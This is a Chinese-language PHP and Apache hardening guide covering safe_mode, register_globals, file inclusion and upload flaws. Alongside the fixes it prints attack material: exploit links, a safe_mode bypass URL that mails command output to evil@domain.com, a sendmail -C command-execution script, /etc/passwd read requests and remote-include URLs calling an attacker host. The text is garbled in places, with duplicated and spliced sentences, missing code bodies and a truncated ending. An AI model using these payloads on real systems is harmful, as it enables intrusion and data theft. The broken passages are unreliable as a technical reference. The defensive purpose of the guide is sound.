版本:0.02
一、Web伺服器安全
PHP其實不過是Web伺服器的模組功能,所以首先要確保Web伺服器的安全。當然Web伺服器要安全又必須是先確保系統安全,這樣就扯遠了,無窮無盡。 PHP可以和各種Web伺服器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用程式也會帶來一定的麻煩,例如連接mysql時必須用127.0.0.1位址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini裡的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠端溢位
PHP-4.1.2以下的所有版本都存在檔案上傳遠端緩衝區溢位漏洞,而且攻擊程式已經溢位漏洞,而且攻擊程式已經廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠端漏洞,雖然無法取得本機使用者權限,但也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行指令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行指令。其中4.0.5版本突破非常簡單,只要用分號隔開後面加上shell指令就可以了,例如存在PHP腳本evil.php:
mail("foo@bar,"foo" ,"bar","",$bar); ?>
執行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin /id|mail evil@domain.com
這將id執行的結果發送給evil@domain.com。利用了sendmail的-C參數,所以系統必須是使用sendmail。它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($ cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite ($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", " ", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的使用者一定要及時升級到最新版本,這樣才能消除基本的安全問題。 )進行設置,也可以在腳本程式裡使用ini_set()及其他的特定的函數進行設定。唯一PHP_INI_SYSTEM屬性的,必須透過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改後必須重新啟動apache才能生效。其中php.ini設定的選項是對Web伺服器所有腳本生效,httpd.conf裡設定的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess檔設置,也可以透過在腳本程式本身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對目前目錄的腳本程式生效,ini_set()函數只對該腳本程式設定ini_set()函數以後的程式碼生效。各個版本的選項屬性可能不盡相同,可以用以下命令查找目前原始碼的main.c檔案得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該先好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須透過php.ini或httpd.conf來設定。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或修改httpd.conf,定義目錄:
Options FollowSymLinks
php_admin_value safe_mode 1
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的檔案開啟、指令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,例如test.php腳本的內容為:
幾個檔案的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www -data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤訊息:
Warning: SAFE MODE Restriction in effect. The script whose uid/ gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該檔案的UID即使和腳本不同也可以存取的,不知這是否是PHP的漏洞還是另有隱情。所以php腳本屬主這個使用者最好就只作這個用途,絕對禁止用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想放寬到GID比較,則開啟safe_mode_gid可以考慮只比較檔案的GID,可以設定以下選項:
safe_mode_gid = On
設定了以後,所有指令執行的函式將被限制只能執行php.ini裡safe_mode_exec_dir指定目錄裡的程序,而且shell_exec、`ls -l`這種執行指令的方式會被禁止。如果確實需要呼叫其它程序,可以在php.ini做以下設定:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程式到該目錄,那麼php腳本就可以用system等函數來執行該程式。而且該目錄裡的shell腳本還是可以呼叫其它目錄裡的系統指令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或使用完整路徑來包含)包含檔案時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制其實是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許存取“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將存取控制在指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。
safe_mode_allowed_env_vars string
設定某些環境變數可能是潛在的安全缺口。本指令包含一個逗號分隔的前綴清單。在安全模式下,使用者只能改變那些名字具有在這裡提供的前綴的環境變數。預設情況下,使用者只能設定以 PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。
註: 如果本指令為空,PHP 將使使用者可以修改任何環境變數!
safe_mode_protected_env_vars string
本指令包含一個逗號分隔的環境變數的列表,最終使用者不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設定了允許修改時也不能改變這些變數。
雖然safe_mode不是萬能的(低版的PHP可以繞過),但還是強烈建議開啟安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能會對應用程式帶來影響,所以還需要調整程式碼和配置才能和諧。被安全模式限製或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,以下結合程式碼實際可能出現的問題討論如何透過對PHP伺服器端的設定來避免出現的漏洞。
2、變數濫用
PHP預設register_globals = On,對於GET, POST, Cookie, Environment, Session的變數可以直接註冊成全域變數。它們的註冊順序是variables_order = "EGPCS"(可以用php.ini修改),同名變數variables_order右邊的覆寫左邊,所以變數的濫用極易造成程式的混亂。而腳本程式設計師往往沒有對變數初始化的習慣,像如下的程式片段就極易受到攻擊:
//test_1.php
if ($pass = = "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用以下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程式也有犯過這種錯誤,例如phpnuke的遠端文件拷貝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的陣列變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接註冊成變量,必需透過數組變數來存取。 PHP-4.2.0發佈的時候,php.ini預設配置就是register_globals = Off。這使得程式使用PHP自身初始化的預設值,一般為0,避免了攻擊者控制判斷變數。
解決方法:
設定檔php.ini設定register_globals = Off。
要求程式設計師對作為判斷的變數在程式最開始初始化一個值。
3、檔案開啟
極易受攻擊的程式碼片段:
//test_2.php
if (!( $str = readfile("$filename"))) {
echo("Could not open file: $filename
n");
exit;
}
else {
echo $str;
}
?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
以下請求可以讀取php檔案本身:
http://victim/test_2.php?filename=test_2. php
PHP中檔案開啟函數還有fopen(), file()等,如果對檔案名稱變數檢查不嚴格就會造成伺服器重要檔案被存取讀取。
解決方法:
如非特殊需要,把php的檔案操作限制在web目錄裡面。以下是修改apache設定檔httpd.conf的範例:
php_admin_value open_dir /usr/local/apache/hts
重新啟動apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的檔案了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含檔案
極易受攻擊的程式碼片段:
//test_3.php
if(file_exists( $filename))
include("$filename");
?>
這種不負責任的程式碼會造成相當大的危害,攻擊者用以下請求可以得到/etc/ passwd檔:
http://victim/test_3.php?filename=/etc/passwd
如果對Unix版的PHP(Win版的PHP不支援遠端開啟檔案)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,如http://attack/attack.txt的內容是,那麼如下的請求就可以在目標主機執行指令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以透過包含apache的日誌檔access.log和error.log來得到執行指令的程式碼,不過由於幹擾資訊太多,有時不容易成功。
對於另一種形式,如下程式碼片段:
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用以下請求也可以在目標主機執行命令:
http://victim /test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含檔名變數檢查不嚴就會對系統造成嚴重危險,可以遠端執行指令。
解決方法:
要求程式設計師包含檔案裡的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的檔案名,絕對不能由使用者任意指定。
如前面檔案開啟中限制PHP操作路徑是必要的選項。另外,如非特殊需要,一定要關閉PHP的遠端檔案開啟功能。修改php.ini檔案:
allow_url_fopen = Off
重啟apache。
5、檔案上傳
php的檔案上傳機制是把使用者上傳的檔案保存在php.ini的upload_tmp_dir定義的暫存目錄(預設是系統的暫存目錄,如:/tmp )裡的一個類似phpxXuoXG的隨機臨時文件,程式執行結束,該臨時文件也被刪除。 PHP為上傳的檔案定義了四個變數:(如form變數名稱是file,而register_globals開啟)
$file #就是儲存到伺服器端的暫存檔案(如/tmp/phpxXuoXG )
$ file_size #上傳檔案的大小
$file_name #上傳檔案的原始名稱
$file_type #上傳檔案的類型
建議使用:
$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
這是一個最簡單的檔案上傳程式碼:
//test_5.php
if(isset($upload) && $file != " none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "檔案".$file_name."上傳成功! "$PHP_SELF">繼續上傳";
exit;
}
?>
涓